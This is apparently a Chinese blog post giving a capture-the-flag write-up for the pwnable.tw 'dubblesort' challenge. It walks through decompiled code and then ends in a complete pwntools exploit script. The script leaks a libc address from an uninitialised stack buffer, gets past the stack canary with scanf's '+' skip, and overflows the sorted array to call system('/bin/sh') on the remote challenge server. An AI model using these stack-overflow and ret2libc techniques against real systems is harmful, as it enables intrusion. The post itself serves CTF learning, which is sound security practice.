PWNABLE dubblesort

查看文件基本信息

 

 分析程序行为

 

 静态分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int Length; // eax
  unsigned int *temp; // edi
  unsigned int i; // esi
  unsigned int j; // esi
  int result; // eax
  unsigned int length; // [esp+18h] [ebp-74h] BYREF
  unsigned int input_array[8]; // [esp+1Ch] [ebp-70h] BYREF
  char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
  unsigned int canary; // [esp+7Ch] [ebp-10h]

  canary = __readgsdword(0x14u);
  sub_8B5();
  __printf_chk(1, (int)"What your name :");
  read(0, buf, 64u);                            // 只能输入最大64个字符,所以不能泄露canary
                                                // 但是因为read不会在输入的字符串后面添加/x00截断
                                                // 所以可以配合下面的printf泄露栈上的其他数据
                                                // 这里很容易看到canary就想着泄露它而走入死胡同
  __printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");
  __isoc99_scanf("%u", &length);                // 没有限制长度,所以可以进行栈溢出
  Length = length;
  if ( length )
  {
    temp = input_array;
    for ( i = 0; i < length; ++i )
    {
      __printf_chk(1, (int)"Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", temp);               // scanf有一个漏洞就是输入+或者-将会当作空而跳过
      Length = length;
      ++temp;
    }
  }
  sort(input_array, Length);                    // sort函数是对栈里的数据进行换位
  puts("Result :");
  if ( length )
  {
    for ( j = 0; j < length; ++j )
      __printf_chk(1, (int)"%u ");
  }
  result = 0;
  if ( __readgsdword(0x14u) != canary )
    sub_BA0();
  return result;
}

 

 动态调试

 

 

 静态分析中,得知并不能泄露canary,但是可以泄露栈上的其他数据,比如这个GOT表,可以泄露出来

可以通过填充25个a来泄露

 漏洞利用

 1.通过read不自动补充\x00截断,且配合printf函数来打印出GOT表的地址

2.通过IDA中,按Ctrl+S可以查看到GOT表的本地地址在0x1B0000,所以泄露的地址减去本地地址即可得到libc的基地址

 

 3.利用数组长度没有限制,可以进行栈溢出。  和 scanf函数输入+或者-会跳过的特性。可以在填充到canary的地址处用+或者-来跳过从而不更改canary的值。鉴于sort会对输入的数据进行排序,所以在构造payload的时候,只要保持canary前的数据比canary小,后面的数据比canary大就好了。

EXP

from pwn import *
# context.log_level = 'debug'
# io=process('./dubblesort')
io=remote('chall.pwnable.tw','10101')
elf=ELF('./dubblesort')
libc=ELF('libc_32.so.6')

# gdb.attach(proc.pidof(io)[0])
io.recvuntil('What your name :')
io.send('a'*25)
io.recvuntil('a'*25)
addr_GOT=u32('\x00'+io.recv(numb=3))
libc.address=addr_GOT-0x1b0000
addr_system=libc.sym['system']
addr_bin_sh=libc.search('/bin/sh').next()

io.sendline(str(35))
for i in range(24):
    io.recvuntil('number : ')
    io.sendline('0')
io.recvuntil('number : ')
io.sendline('+')
for i in range(9):
    io.recvuntil('number : ')
    io.sendline(str(addr_system))
io.recvuntil('number : ')
io.sendline(str(addr_bin_sh))
io.recv()
io.interactive()
posted @ 2021-11-08 21:33  大金刚仔  阅读(82)  评论(0编辑  收藏  举报